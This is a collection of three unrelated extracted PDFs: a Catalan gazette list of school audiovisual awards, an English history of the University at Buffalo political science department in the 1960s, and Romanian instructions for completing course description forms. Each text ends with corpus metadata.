premi. Escola Mansuet (Collbató). Curs: 6è Ens en sortirem 2n premi. Escola Mossèn Jacint Verdaguer (Barcelona). Curs: 6è A Fan de qui dona sang Educació secundària obligatòria i cicles de formació professional bàsica 1r premi. Institut Vall de Llémena (Sant Gregori). Curs: 4rt ESO Escaping war 2n premi. Vedruna Cardona (Cardona). Curs: 2n ESO A Dones silenciades A més dels dos premis, el jurat vol reconèixer amb una menció especial l'Institut Escola Mare de Déu del Portal, de Batea, pel projecte Neus Català, una dona contra Hitler, dels alumnes de 4t. Batxillerat Treball premiat. Institut Euclides (Pineda de Mar). Curs: 2n Qüestions audiovisuals ISSN 1988-298X https://www.gencat.cat/dogc CVE-DOGC-A-21153122-2021 DL B 38014-2007 Cicles formatius de grau mitjà i superior Treball premiat. Teknós_UGranollers (Granollers). Curs: 1r CFGS en Màrqueting i Publicitat A Educació mediàtica igualitària. Activitat acadèmica d'anàlisi i d'identificació de les sèries d'animació infantil igualitàries emeses al canal Super3 Treballs de ràdio 1r premi. Col·legi Sant Josep (Sant Hilari Sacalm). Curs: 3r Els Youcast de tercer 2n premi. Institut Vilamajor (Sant Pere de Vilamajor). Curs: 3r ESO optativa de ràdio Sota la mascareta. Un programa de ràdio fet per joves obert per a totes les veus de Vilamajor Treballs de centre Treball premiat. Escola L'Estació (Sant Feliu de Guíxols). Emoticontes Treballs de centre d'educació especial Treball premiat. CEE Montserrat Montero (Granollers). Projecte audiovisual El jurat vol reconèixer amb una menció especial L'Heura del Vallès Fundació Privada (Terrassa) pel seu treball Mirem la ciutat amb uns altres ulls. CATEGORIA B. Treballs de recerca de l'alumnat de batxillerat Treballs de recerca de l'alumnat de batxillerat 1r premi. Elisa Pérez Garriga. Institut Joan Puig i Ferreter (La Selva del Camp). Fotograma a fotograma. Descobrint l'animació. Animació de la llegenda mexicana "La llorona" 2n premi. Genís Pujiula Vila. Institut Carles Rahola i Llorens (Girona). ISSN 1988-298X https://www.gencat.cat/dogc CVE-DOGC-A-21153122-2021 DL B 38014-2007 4/4 Creació d'un documental a vista de dron dels 8 fars de la Costa Brava. Produccions audiovisuals Treball premiat. Beruh Pietx Prat. Escola d'art de Vic (Vic). Habitar l'espera: sentir la finitud El jurat reconeix amb una menció especial Inés Barbosa Muñiz, de l'Institut Maria Aurèlia Capmany (Cornellà de Llobregat) per la seva producció Inflamable. CATEGORIA C. Professorat Professorat 1r premi. Ester Ferrando Casas, Isabel Taixés Dolcet i Rosalia Anglada Guajardo. Institut Gabriel Ferrater i Soler (Reus). Les dones també escriuen la història de l'art 2n premi. Marta Rebollar Candela i Silvia Aguilera Casas. Escola Cooperativa Petit Món – Felisa Bastida (Castelldefels). Les TIC i la gent gran (21.153.122) ISSN 1988-298X https://www.gencat.cat/dogc CVE-DOGC-A-21153122-2021 DL B 38014-2007
<urn:uuid:32cb8748-930c-4153-bfc4-8dcab82bd908>
HuggingFaceFW/finepdfs/tree/main/data/cat_Latn/train
finepdfs
cat_Latn
5,257
Chapter 2: Early years of the Department To summarize the lessons of this chapter, the 1960s constituted an extraordinary period. Copious funding from New York State made massive faculty recruitment possible. The rate of growth was dizzying. Well-established figures in the discipline and newly-minted PhD recipients joined the Department. Other appointees had compiled impressive academic records but had been denied tenure at universities such as Berkeley; offering them associate professorships cinched the case for Buffalo. Taking a longer term perspective, the on-campus disturbances of 1969-1970 and the abrupt halt of UB's growth in the early 1970s (owing to New York State's fiscal crises) destroyed the unrealistic optimism of the Department's early years. The 1970s and 1980s brought further problems, as Political Science coped with gradual erosion of its faculty numbers, even while trying to maintain a broadly-balanced set of fields. Political Science at UB thus received national recognition due to the reputations newly recruited full professors had already established. Were substantial numbers of the senior faculty to leave, this instant renown would be challenged – as it was. Such widely-known scholars as Roy Macridis (Comparative), John Wahlke (American), Kenneth Vines (American) or Robert Scigliano (Comparative) stayed but a few years, while Al Somit (a major historian of Political Science as a discipline) became an administrator. The loss of people of such repute hurt the Department in the short term. The combined Department of History and Government Given the straitened financial circumstances of the private University of Buffalo and its teaching-intensive tutorial system for undergraduates, faculty members faced heavy demands. Members of the combined Department of History and Government spent the bulk of their time on instruction, with demands for campus and department governance, as well as scholarship, atop this basic responsibility. The State University of New York as a whole entered its life ringed about with restrictions that, in the view of many education leaders, made it next to impossible to create or build a major public, research-oriented institution, with the small exception of specialized schools in areas like medicine. SUNY can best be described in its early years as a collection of entities, most of which had been locally-established normal schools designed to trained teachers. As an example of the strictures, no campus other than that at Binghamton was permitted to offer B.A. programs – only the B.S. or Bachelor of Education would be permitted. No tuition was charged, akin to the policy followed in the City of New York public university system. In effect, however, SUNY had no center, only a series of campuses linked by little save concern about effects of 'Albany' on local administration. However, major social changes in the forms of the G.I. Bill and the arrival of baby boomers at college age, path-breaking reports and ambitious Republican governors paved the way for major expansion. These laid the necessary foundation to create a system, eventually with the traditional capstone of a "real" publiclysupported, PhD-granting entity. Generous tax support flowed into the new-born system. New York lived up to its motto 'Excelsior,' 'higher.' As noted in the previous chapter, UB did not create a separate College of Arts and Sciences until the end of World War I, although small steps had been taken in that direction during it. 1 Among the departments created at the outset were such stalwarts of baccalaureate instruction such as Biology, Chemistry, English and Psychology. 2 The combined Department of History and Government was one of these units. Its faculty members were drawn heavily from the History side, in particular American and "Western" history. Political scientists remained in the minority, with the orthodox subfields of American, comparative (largely European), international and public administration represented. The joint Department, ab ovo Given the straitened financial circumstances of the private University of Buffalo and its distinctive tutorial system for undergraduates, faculty members faced heavy demands. Members of the combined Department of History and Government spent the bulk of their time on instruction, with demands for administration and scholarship atop this basic responsibility. Little time existed for research – and it's fair to say that research was perceived as a luxury, a rich and not necessarily needed sauce for the meat and potatoes of teaching. Only with the influx of resources made possible through the creation of the State University of New York and the merger of the private University of Buffalo into it could: 1) Political Science be established as a separate Department; 2) research be elevated to a primary criterion for faculty recruitment and retention; 3) doctoral programs created or spurred; 4) major new facilities provided; 5) thousands of new students recruited; and 6) the tuition-driven budget of UB replaced by neartotal reliance on the State of New York. These extraordinary implications make it important to look briefly at the creation of SUNY. I deliberately chose the Latin term since for most of its history the joint "Department of History and Government" was headed by scholars raised with deep appreciation of Western culture. Many of them read and quoted the language of Virgil or Pliny with ease. The ethos of the combined Department was set by its historians. Overall, they constituted three-quarters or more of its faculty strength. Some of them held senior administrative positions, notably Julian Park and Julius Pratt, respectively Deans of Arts and Sciences and the Graduate School. Given the scope of this recounting, I haven't delved into details about the Department of History itself; that task remains to others. Robert H. Stern was the senior Political Science faculty member when the Department was created. He came to UB in 1950, after completing his doctorate at Harvard. 3 History and Government then included between nine and ten faculty members, some of whom served concurrently as major administrators. 4 Stern was the third political scientist in the Department. He took responsibility for teaching Introduction to American government, the basic course in any Political Science Department. Previously, historians had covered it. 5 Stern also taught public administration, 6 regarded as an important part of the curriculum, and constitutional law. His formal lecture courses were complemented by group tutorials, one-on-one tutorials having been dropped earlier for financial reasons. 7 Members of the Department collectively participated in preparing, administering and grading the comprehensive examinations that all senior majors were required to take. These tests included oral portions in which students, according to Stern, "faced a panel of three or four faculty members … I remember long hours in which groups of faculty toiled over the acceptability of every question to appear in the various parts of the written examination, and then at the oral, sometimes, experiencing with the student a shared ideal." 8 Recruitment decisions were made in what Stern deemed a "quasicollegial way." In terms of his own hiring, he was invited to visit Buffalo, met one-on-one with the Department chair, individually with some other faculty members, and finally with the Dean The Department of History and Government was staffed entirely by white males, at least on the Political Science side. To be certain, this was the norm at that time, given the demographics and social expectations of the 1960s. In my research for this history, I turned up the name of only one female prior to the division into two units. Helen Dwight Reid taught international relations at Buffalo from 1928 to 1939. Her life is a relative mystery. Ms. Reid remains known within the discipline through an annual award given by the American Political Science Association for "the best dissertation in the field of international relations, law, and politics. The award is supported by the Helen Dwight Reid Educational Foundation. It carries a prize of $750." 11 of Arts and Sciences. In short, no formal presentation to the faculty or any to a class existed at that time at the junior level. 9 The tenure process understandably involved more complications, with review by a key executive committee of the College; the Department itself tended to recommend promotion to associate professor "rather early through a kind of accumulated consensus." 10 Reid came from an independently wealthy family, likely from with a background in Glasgow ship-building. She was educated under English and French governesses, and then spent eleven years in travel and study abroad. As a result, Reid could converse in several languages. She finished high school in three years, graduating with honors in 1918. Reid entered Vassar, graduating in 1922 as one of 10 members of the Advanced Standing Honor Group, majoring in political science and history. She received an International Law Fellowship of Carnegie Endowment for International Peace 1922-1924, doing research in international law, diplomacy, history, government and international trade at Harvard, where she received her MA in February 1924. Reid also had finished preliminary requirements for her doctorate, along with the first draft of PhD thesis. Her appointment at UB came quickly, given her credentials, and her rapid rise in rank reflected her research capability and enthusiasm for teaching. Reid finished her dissertation in 1935. It dealt with 'international servitude.' 12 Reid died tragically August 6, 1965, in a car crash. She was due to leave that day for an APSA South American tour. Apparently her assets had already been placed into a charitable cause: she served as president of the Helen Dwight Reid Foundation, which gave scholarships to graduate students in international relations. The foundation lives on as the Heldref Foundation, sponsoring a host of academic publications and, of course, the annual APSA dissertation prize. 13 At that time, UB was gravely affected – like American higher education and the country as a whole – by the dire impact of the Depression. Faculty retrenchments were commonplace. Salary reductions occurred as well, sometimes with staff volunteering to lower their pay in order to preserve jobs of colleagues. Promotions – at least those involving salary increases – became rare, as did sabbatical leaves. Many academics were drawn into government, joining the brain trust that Roosevelt built, or becoming affiliated with NGOs. Such was the case with Dr. Reid. For a variety of personal reasons, she resigned in 1939, moving to Washington to follow her interest in Latin American politics. Edging toward division: the Committee on Courses 3 By the late 1950s, higher education leaders in the United States realized they would soon confront immense new demands. The post-World War II baby boom meant a major bulge of students would arrive on colleges' doorsteps by the early 1960s. Between 1946 and 1957, as Chapter 2: Early years of the Department mentioned in the previous chapter, the number of births increased dramatically from the levels of the Depression and World War II. Technology changed dramatically. By 1955, Buffalo reached the acme of its 20 th -century population, with an air of optimism marking the urban area as a whole. With respect to Political Science, the most significant event came with the 1958 report of the Committee on Courses. It listed five reasons why the combined Department of History and Government should be split: Curricula needed updating, new facilities constructed, and faculty recruited to meet the dramatically expanded teaching needs. 14 Repercussions spread through the entire University of Buffalo. a. Political Science frequently wasn't recognized by students or some advisers as a distinct field of study c. Department autonomy was important to insure adequate recognition at the administrative level with respect to personnel requirements, library needs, etc. b. For serious coverage in courses, establishment of separate department was desirable d. Faculty recruitment and placement of graduate students would be easier As sound as these academic principles may have been, and as significant the impending higher demands for admission were, fiscal realities precluded immediate creation of a separate Department of Political Science. Only with serious discussion about merger with the massively changed SUNY system did change come about. e. Department autonomy and a sense of identity were important for esprit de corps among majoring students, students and faculty members, and among faculty members The "velvet divorce" occurred fall 1962. According to the long-time chair of the combined department, "The most significant development is that the Department of History and Government has become pregnant; and will, we hope, by the autumn of 1962 give birth to a new and separate Department of Political Science." 15 John Lane, a specialist in comparative politics who had been recruited as an assistant professor the preceding year, recalled the split as occurring by "consensus." 16 The escalating aspirations and resources of the time made it possible to search for an outside chair. By bringing a nationally-recognized individual to Buffalo and giving him a substantial mandate to recruit, Political Science could receive a jump start. And that it did, thanks to the contacts, commitment and vision of a French-trained Greek comparative political scientist, Roy Macridis. His appointment marked the "real" start of the Department. 17 4 Growth began explosively. In addition to the three and a half persons who transferred from the former Department of History and Government, 18 Macridis reached out nationally for new faces. He followed a time-honored pattern of seeking out friends who were willing to move to a new university that promised much. An immediate appointee was his associate Bernard ("Ed") Brown, with whom he had worked closely in a widely-used book of readings on comparative politics. 19 Among the most important other rapid appointees were political philosopher Richard Cox 20 , who joined the Department in 1963 and IR specialist Glenn Snyder. 21 And, probably most important, Macridis lured eminent Americanist John Wahlke. Wahlke served at that time as President of the Inter-University Consortium on Political and Social The new Department thus was launched in a spectacular fashion. The simultaneous recruitment of nationally-recognized scholars Macridis and Wahlke vaulted Buffalo to greater recognition. The "classic" areas were represented: American politics by Wahlke; comparative politics by Brown and Macridis; empirical political science also by Wahlke; international relations by Snyder; and political philosophy by Cox. These complemented Stern's expertise in public administration. Research. He exemplified the scientific side of Political Science, ensuring that graduate students received a rigorous introduction to contemporary methodological approaches. The annual report for 1963 reflected the exhilaration of the early, fund-filled years. Macridis wrote glowingly about the new Department's first year of operations with "great and indeed excrutiating (sic) pleasure." All members of the Department shared the goals of academic excellence and productivity; national recognition and visibility; research and graduate development; and "solid instructional performance" at the undergraduate level. The natural constituency for the Department was "the scholarly fraternity in the country." Sounding a theme that has often been repeated, Macridis wrote, "Our effort is to emulate the best institutions. It is to the profession that we shall owe our foremost allegiance and our efforts and priorities will be established accordingly. It is by attaining national recognition that we shall be serving best the University and the community." 22 Important implications flowed from this early, massive recruitment: A similar explosion of growth came in 1964. Five new assistant professors, including the author, arrived that year. They came from a variety of backgrounds: area specialists in Africa and the Communist world; other Americanists; international relations theorists, and the like. Similar rates of recruitment followed in the ensuring years of the decade. * Almost all the sub-fields of the discipline received tenured leaders new to Buffalo (public administration was already covered to some extent by Stern) * Political Science gained a reasonably high degree of national recognition as a result key initial appointments. A corresponding problem existed, however. Rapid departure of some of them could trigger a reaction in the opposite direction, namely that the situation was unstable. * The Department accordingly was structured from the outside along "traditional" lines. Each section had at least a few faculty members, sufficient to mount and support doctoral work. The only dissenting voice came from Wahlke, who favored organizing it along functional lines. 23 * The rapid and extensive hiring of the late 1960s affected the University as a whole. Numerous assistant and associate professors were recruited during this period – and then served decades more as they were promoted and became more ensconced. When fiscal problems assailed New York in the early 1970s and subsequently, this disparate group were immune from retrenchment, meaning the cutbacks fell almost entirely on junior faculty. * The blistering pace of recruitment also encouraged a "the sky's the limit" outlook. This was reflected in the "Berkeley of the east" phrase bandied about at the time. * The grandiose plans made at all levels made possible the launching of graduate programs. Doctoral degrees could be pursued, thanks to the larger and more varied faculty. How the long-standing but very modest MA program morphed into a full-blown Ph.D. program appears in a subsequent chapter of this history. * Undergraduate students flocked to UB from all over the state, diminishing the local or at best regional focus of the institution. This presumed dilution of community influence in the University crystallized in the disturbances of the late 1960s. The relatively rapid departure of the two senior members of the Department slowed the momentum that had been established, although did not stop it totally. Macridis left first. Lured by an offer from Brandeis – located in a metropolitan area he and especially his wife loved – he left in 1965, barely two years after arriving. Filling the chair's position thus posed an immediate issue, indeed crisis. The ranks of tenured faculty were thin. Wahlke was the only nationally known full professor who had held that rank for a significant period of time. Following the usual procedures, the Dean of Arts and Sciences polled all faculty members for written comments. These revealed a clear preference for Wahlke. 24 The Dean could not persuade him. Wahlke departed in 1966 for the University of Iowa, then headed in 1972 to downstate SUNY rival Stony Brook, where he carved out a continued long, distinguished career. On the other hand, two highly regarded full professors were lured to Buffalo in 1966, Al Somit (best known for his co-authored book on the history of political science as a discipline 25 ) and Robert Scigliano (a constitutional and court scholar who also wrote about South Vietnam prior to leaving Michigan State for Buffalo). Glenn Snyder, who had arrived from Berkeley in 1964 as associate professor, recalled the departure of Macridis and Wahlke as significant, since the 'stars in our firmament' were no longer there, and 'the rest of us had yet to prove ourselves. This was kind of deflating.' According to him, the thought developed that Buffalo 'may be an ordinary department. We were destined to be an ordinary university, (and) should retrench our aspirations.' Scigliano's move to Boston College seemed to ice the decision: 'We thought of him as 'the most wellknown/famous person (outside Roy and John) in American government, which is center.' His leaving was 'sort of a tipping point, for things were starting to go downhill.' UB as a whole reversed gear at the same time. A combination of serious on-campus disturbances, state fiscal crises and the start of internal dissension within the Department darkened the 1970s. These factors bear attention at this time. A dream cut short: global student riots and local offspring The Buffalo campus stood out as one of the most affected university settings in the United States. Activists – including some young members of the faculty and staff, as well as students – latched on a series of intra-University grievances, linking them to broad national and Much has been written about the late 1960s. A time of major unrest, especially among students in Western Europe and parts of the United States, it brought major transformations in governments and popular attitudes. The repercussions were felt most strongly in France, where demonstrations brought down the Fourth Republic and ushered in the far more rightist Fifth Republic of General Charles DeGaulle. LBJ decided not to seek re-election in 1968, having been tarred with the brush of the ever-dragging the Vietnam War, opening the door to a Republican dominance of politics that lasted for two decades plus. Chapter 2: Early years of the Department global concerns. One immediate cause was a charge of racism and discrimination against Black basketball players, which led to on-campus demonstrations and occupation of the Union (Norton Hall) by a large group of students. Their forcible removal by Buffalo police lit the tinder. Forty-five faculty members occupied the UB President's office on a spring Sunday afternoon, to express their concern about the presence of large numbers of armed Buffalo police on campus and to petition the Acting President for a meeting. 26 Tension escalated. Confrontation nearly turned into catastrophe. Fortunately, UB escaped events as grievous as at Kent State, where four students died and an additional 67 were wounded when members of the National Guard opened fire. However, the latent town-gown tensions that had grown following UB's merger with the State University of New York risked boiling over. In the eyes of many, a far stricter approach in academic leadership was essential. The departure of President Meyerson 27 and the selection of Robert Ketter, a civil engineer regarded as a 'hard-line' candidate, to UB's presidency ushered into a new period. The 1970s proved remarkably different for the University as a whole, and for individual units. 28 To summarize the lessons of this chapter, the 1960s constituted an extraordinary period. Copious funding from New York State made massive faculty recruitment possible. The rate of growth was dizzying. Well-established figures in the discipline and newly-minted PhD recipients joined the Department. Other appointees had compiled impressive academic records but had been denied tenure at universities such as Berkeley; offering them associate professorships cinched the case for Buffalo. * * * * * * Political Science at UB thus received national recognition due to the reputations newly recruited full professors had already established. Were substantial numbers of the senior faculty to leave, this instant renown would be challenged – as it was. Such widely-known scholars as Roy Macridis (Comparative), John Wahlke (American), Kenneth Vines (American) or Robert Scigliano (Comparative) stayed but a few years, while Al Somit (a major historian of Political Science as a discipline) became an administrator. The loss of people of such repute hurt the Department in the short term. Taking a longer term perspective, the on-campus disturbances of 1969-1970 and the abrupt halt of UB's growth in the early 1970s (owing to New York State's fiscal crises) destroyed the unrealistic optimism of the Department's early years. The 1970s and 1980s brought further problems, as Political Science coped with gradual erosion of its faculty numbers, even while trying to maintain a broadly-balanced set of fields. Analysis of these decades follows in subsequent chapters. Buslet/Department history/Chapter 2 LATEST 1 For details, see Julian Park, The Evolution of a College (1938) and A History of the University of Buffalo (1917). A detailed, first-rate study was recently published by two former senior administrators: William R. Greiner and Thomas E. Headrick, Location, Location, Location: A Special History of the University at Buffalo (Buffalo: Center for Studies in American Culture, 2007). longer version of this history to me, and offered several useful hints in preparing this current work. 2 Histories of individual Departments at UB remain unwritten for the most part – a pity, given the dramatic changes that occurred in almost all as a result of the merger with SUNY and resulting changes. The single exception known to the author can be found at http://www.psychology.buffalo.edu/contrib/home/documents/AHistoryoftheDepartmentofPsychology.pdf. Professor Jack Meacham, who retired in 2007, kindly provided a 3 Chapter 2: Early years of the Department Technical Innovations." Stern believes he was recruited as a result of direct discussions between the Chair of the "The Federal Communications Commission and Television: The Regulatory Process in an Environment of Rapid Government Department at Harvard and of History and Government at Buffalo. Information comes from hand- present author and a substantial portion of faculty members appointed since the Department’s creation. written note to the author, February 2008. The same word-of-mouth probably applied in the appointment of the 4 Historian Julian Park (1888-1965) was the longest-tenured Dean of the College of Arts and Sciences, having served in that position from 1919 (six years after he joined the UB faculty) until 1954. He was the son of the eminent Buffalo surgeon Roswell Park. (For brief information, see 5 This was John Horton, Chair of History for several years, including when the important Committee on Courses prepared its report. http://www.buffalo.edu/ubreporter/2009_05_13/flashback.) Historian Julian Pratt not only taught, but also was Dean of the Graduate School. Park's books (in addition to several focused on the history of the University of Buffalo) included studies of Canadian and French culture. Pratt (1888-1983) was a diplomatic historian, with special attention to the United States. Perhaps his most intriguing book is entitled America's colonial experiment: How the United States gained, governed, and in part gave away a colonial empire. 6 See details subsequently in this history relating to the checkered history of Public Policy. 8 Personal communication to the author, February 2008. 7 As Stern recalled, each instructor enjoyed considerable leeway in choosing the subject for the group tutorials. He favored "the dead white male canon of Western political thought – Machiavelli, Hobbes, Locke, the Federalist Papers, de Tocqueville, Rousseau, J.S. Mill, Marx, etc. – in addition to authors around whom contemporary controversy swirled, such as Hayek or Herman Finer." 9 Stern wryly notes that having two senior administrators as members of History and Government "may have simplified matters." Personal communication to the author, February 2008. Similar streamlined recruitment was also eased by the small size of the Department, its homogeneity and, by the mid- to late-1960s, the torrent of State funds that facilitated wholesale hiring. 11 http://www.apsanet.org/section_270.cfm, accessed September 27, 2008. 10 Personal communication to the author, February 2008. Stern also notes that two relatively close decisions were made at the junior level during his decade in the combined department: one went instead to Yale, the other came to Buffalo, won the Bancroft Prize in History in 1966 and subsequently became President of Swarthmore College and head of a major Philadelphia area foundation. 12 The dissertation was completed in 1935, dealing with 'international servitude.' Although no detailed information 13 Peter Katzenstein, 2008/09 president of the American Political Science Association and chaired professor at Cornell, received this award in 1976. In an interesting twist of fate, Katzenstein gave an invited lecture at UB in February 2009, 'Anti-Americanism and Obamania: Challenges for America in 21st Century,' organized in part by the present writer. is available through a WorldCat search, I surmise that it focused on the League of Nations Slavery, Servitude, Forced Labour and Similar Institutions and Practices Convention of 1926. In a sense, I am working in the same area, examining in my current book project problems with this treaty and the 1956 Supplemental Convention. See Claude E. Welch, Jr., "Defining Contemporary Forms of Slavery: Updating a Venerable NGO," Human Rights Quarterly 31 (February 2009), 70-128. 14 One repercussion came in the abandonment of individual in favor of group tutorials. 16 Interview with John Lane and Robert Stern, Buffalo, April 24, 2008. 15 "Annual report of the Department of History and Government, 1961" written by historian John Horton; available in the UB Archives. 17 Interview with John Lane and Robert Stern, Buffalo, April 24, 2008. 19 The first edition of their Comparative Politics: Notes and Readings appeared in 1961. Subsequent editions were published in 1964, 1968, 1972 and 1976. 18 These included Stern, Lane and Crittenden; Hulicka split his time between History and Political Science. 20 Cox and Macridis were close personally. Macridis had reached out to Cox when Cox was completing his MA at Northwestern. They remained in contact while Cox taught for two years at Harvard and six years at Berkeley. He was denied tenure at the latter, so was on the job market. Macridis tried to lure Cox to Washington University 21 Snyder had also been turned down for tenure at Berkeley. Telephone discussion February 12, 2008. Cox and Snyder represented exactly the sort of high-quality talent Macridis sought: young, respected within their fields, ready to move to a new institution. when he taught there. Informal discussion with Richard Cox, August 14, 2008. His major scholarly works have focused on John Locke, including Locke on War and Peace (Oxford: Clarendon Press, 1960). 22 Annual Report for the Department of Political Science, on file in the UB Archives. 24 Archives, University at Buffalo, Box 7.7, "Political Science Screening Committee." Among the sentiments expressed, the following are typical: 23 Interview by the author with John Lane and Robert Stern, Buffalo, April 24, 2008. * Wahlke enjoys "a national scholarly reputation, a somewhat broader range of contacts in the profession…. "His loss would be heavier blow than departure of Macridis, due to Wahlke's "special talents and skills in the area of 'survey research' and quantitative data processing." (At this time, Wahlke had been elevated to chairmanship of the Inter-University Consortium and served on the Executive Committee of the American Political Science Association.) * "It is absolutely essential that the Political Science Department regain the momentum it has unfortunately lost this year." * Wahlke was "the only one who is comparable in all respects to Macridis… involved in all stages of development of the department with the chairman … (enjoys a) broad professional reputation which is indispensable for the continuing growth of the department." 25 Albert Somit and Joseph Tanenhaus, American Political Science: A Portrait of a Discipline (New York: Atherton, 1964). 27 Meyerson had been on leave spring 1970, when the major disturbances occurred on campus. His place was taken by Peter Regan. Meyerson moved fall 1970 to the presidency of the University of Pennsylvania, becoming the first Jewish president in the Ivy League. Regan returned to his position in the Department of Psychiatry, remaining there until his retirement. 26 President Meyerson took leave spring 1970, in order to head the externally funded "Assembly on University Goals and Governance." Peter F. Regan, M.D., moved up from Executive Vice President to the presidency on a temporary basis, while Warren Bennis, then Provost of Social Sciences and Administration, took on additional duties as Acting Executive Vice President. 28 The author observed many events from the inside, having served in the late 1960s as Dean of the Division of Undergraduate Education. This position meant I served in the academic hierarchy, as a staff officer, and not on the "student affairs" side where the Dean of Students was positioned. Nor did I have any real power relative to the line Deans. I was charged with implementing the baccalaureate side of the reforms proposed by President Meyerson and approved by the Faculty Senate. My nickname was the "Boy Dean," since I had been asked to serve as the head of DUE a few days after my 27 th birthday.
<urn:uuid:b93e2e8c-6358-41af-b24e-bf4dcff36834>
HuggingFaceFW/finepdfs/tree/main/data/eng_Latn/train
finepdfs
eng_Latn
33,218
INSTRUCłIUNI DE COMPLETARE A FIŞELOR DE DISCIPLINĂ * Fişa de disciplină se completează pentru fiecare program de studiu, conform formularelor de pe pagina FacultăŃii de Energetică, http://www.energ.pub.ro/formulare.html (sau din bara de meniu principală, apăsaŃi butonul Calitate şi alegeŃi din listă Formulare) * Se completează doar câmpurile libere; NU SE INTERVINE ÎN CÂMPURILE DEJA COMPLETATE. 1. Date despre program NU SE INTERVINE ÎN ACESTE CÂMPURI, DEJA COMPLETATE. 2. Date despre disciplină * Se completează conform Planului de învăŃământ, care se găseşte pentru fiecare program de studiu pe www.energ.pub.ro, butonul ÎnvăŃământ şi apoi se alege din listă LicenŃă. La punctul 2.7 Regimul disciplinei, se completează obligatoriu, opŃional sau liber ales. Exemplu: | 2.1 Denumirea disciplinei | | | | Tehnologii şi echipamente pentru epurarea apelor | | | | |---|---|---|---|---|---|---|---| | 2.2 Titularul activităŃilor de curs | | | | Prof.dr.ing. | | | | | 2.3 Titularul activităŃilor de laborator/proiect | | | | As.dr.ing. | | | | | 2.4 Anul de studiu | IV | 2.5 Semestrul | I | 2.6 Tipul de evaluare | examen | 2.7 Regimul disciplinei | obligatoriu | 3. Timpul total estimat * Se completează conform orelor prevăzute în Planul de învăŃământ. 3.4 Total ore din planul de învăŃământ - se înmulŃesc numărul de ore/ săptămână cu numărul de săptămâni pe semestru (14 săptămâni); DistribuŃia fondului de timp – se repartizează orele pentru studiu individual pe semestru, conform indicaŃiilor din tabel; 3.7 Total ore studiu individual - se înmulŃesc numărul de ore prevăzute pe săptămână pentru studiu individual (se găsesc pentru fiecare disciplină într-o coloană separată din Planul de învăŃământ) cu numărul de săptămâni pe semestru; 3.9 Total ore pe semestru - se adună 3.4+3.7; Exemplu: | 3.4 Total ore din planul de învăŃământ din care | 56 | | 3.5 curs | 28 | 3.6 laborator+proiect | 28 | |---|---|---|---|---|---|---| | DistribuŃia fondului de timp pt. studiu individual | | | | | | ore | | Studiul după manual, suport de curs, bibliografie şi notiŃe | | | | | | 7 | | Documentare suplimentară în bibliotecă, pe platformele electronice de specialitate si pe teren | | | | | | 7 | | Pregătire proiect, laborator, teme, referate, portofolii şi eseuri | | | | | | 12 | | Tutoriat | | | | | | 0 | | Examinări | | | | | | 2 | | Alte activităŃi | | | | | | 0 | | 3.7 Total ore studiu individual | | 28 | | | | | | 3.9 Total ore pe semestru | | 84 | | | | | | 3. 10 Numărul de credite | | 5 | | | | | 4. PrecondiŃii (acolo unde este cazul) Exemplu: 5. CondiŃii (acolo unde este cazul) Se completează de cadrul didactic, în funcŃie de condiŃiile personale stabilite pentru disciplina respectivă. Exemplu: 6. CompetenŃe specifice acumulate CompetenŃele acumulate le puteŃi vizualiza prin accesarea link-ului indicat în tabel. Acestea se extrag pentru fiecare disciplina din Grila 2 si se introduce in tabelul de mai jos. | | oferite de fiecare disciplina in parte. Acestea se gasesc pe pagina de web a | |---|---| | | facultatii: http://energ.pub.ro/calitate_competente.html - grile 1 si 2 | | CompetenŃe transversale | Se vor trece din grila 2 specifica programului de studiu competentele specifice | | | oferite de fiecare disciplina in parte. Acestea se gasesc pe pagina de web a | | | facultatii: http://energ.pub.ro/calitate_competente.html - grile 1 si 2 | 7. Obiectivele disciplinei (reieşind din grila de competenŃe specifice acumulate) Se completează conform competenŃelor care reies din Grila 2 a programului de studiu. În această grilă fiecare disciplină are numărul total de credite repartizat pe diferite competenŃe. 8. ConŃinuturi Se completează conform deciziei cadrului didactic. 9. Coroborarea conŃinuturilor disciplinei cu asteptările reprezentanŃilor comunităŃii epistemice, asociaŃiilor profesionale si angajatori reprezentativi din domeniul aferent programului NU SE INTERVINE ÎN CÂMPURILE COMPLETATE ÎN TABEL!!! 10. Evaluare Se completează Ńinând seama de Regulamentul de organizare şi desfăşurare a procesului universitar de licenŃă din UPB şi a hotărârilor Consiliului FacultăŃii de Energetică. La punctul 10.8 Standard minim de performanŃă NU SE INTERVINE, dar dacă se doreşte se pot face completări. Exemplu: | Tip activitate | 10.1 Criterii de evaluare | 10.2 Metode de evaluare | |---|---|---| | 10.4 Curs | Cunoaşterea noŃiunilor teoretice fundamentale privind tehnologiile de epurare a apelor uzate Cunoaşterea modului de alegere a tehnologiei de epurare şi echipamentelor corespunzătoare pentru un caz specific de apă uzată | Examen scris în sesiunea de examene; subiectele acoperă întreaga materie, realizând o sinteză între parcurgerea teoretică comparativă a materiei şi | | 10.5 Laborator | Cunoaşterea modului de funcŃionare a instalaŃiilor experimentate, a modulului de determinare a diferiŃilor parametrii, locul unde se utilizează în staŃia de epurare, analiza rezultatelor experimentale şi formularea concluziilor/observaŃiilor personale | Evaluare scrisă după fiecare laborator şi evaluare scrisă şi orală în cadrul colocviului final de laborator | | 10.6 Proiect | Predarea proiectului şi susŃinere orală a acestuia, cu justificarea soluŃiilor alese | Evaluare orală în cadrul colocviului final de proiect | | 10.7 Teme | Predarea temelor pe echipe şi prezentarea orală a acestora | Evaluare orală | 10.8 Standard minim de performanŃă Rezultatul evaluării finale la o disciplină rezultă din însumarea punctelor alocate fiecărei activităŃi din cadrul disciplinei (puncte ale căror sumă este 100), iar punctajul total se transformă în notă (de la 1 la 10) prin împărŃire la 10 şi rotunjire (cu excepŃia notei 5 care se obŃine prin trunchiere). Punctajul minim pentru promovarea unei discipline este de 50 puncte. (Regulament pentru studiile universitare de licenŃă – 2013)
<urn:uuid:a1ec239a-0294-4078-bde4-a89d30b2800c>
HuggingFaceFW/finepdfs/tree/main/data/ron_Latn/train
finepdfs
ron_Latn
5,925
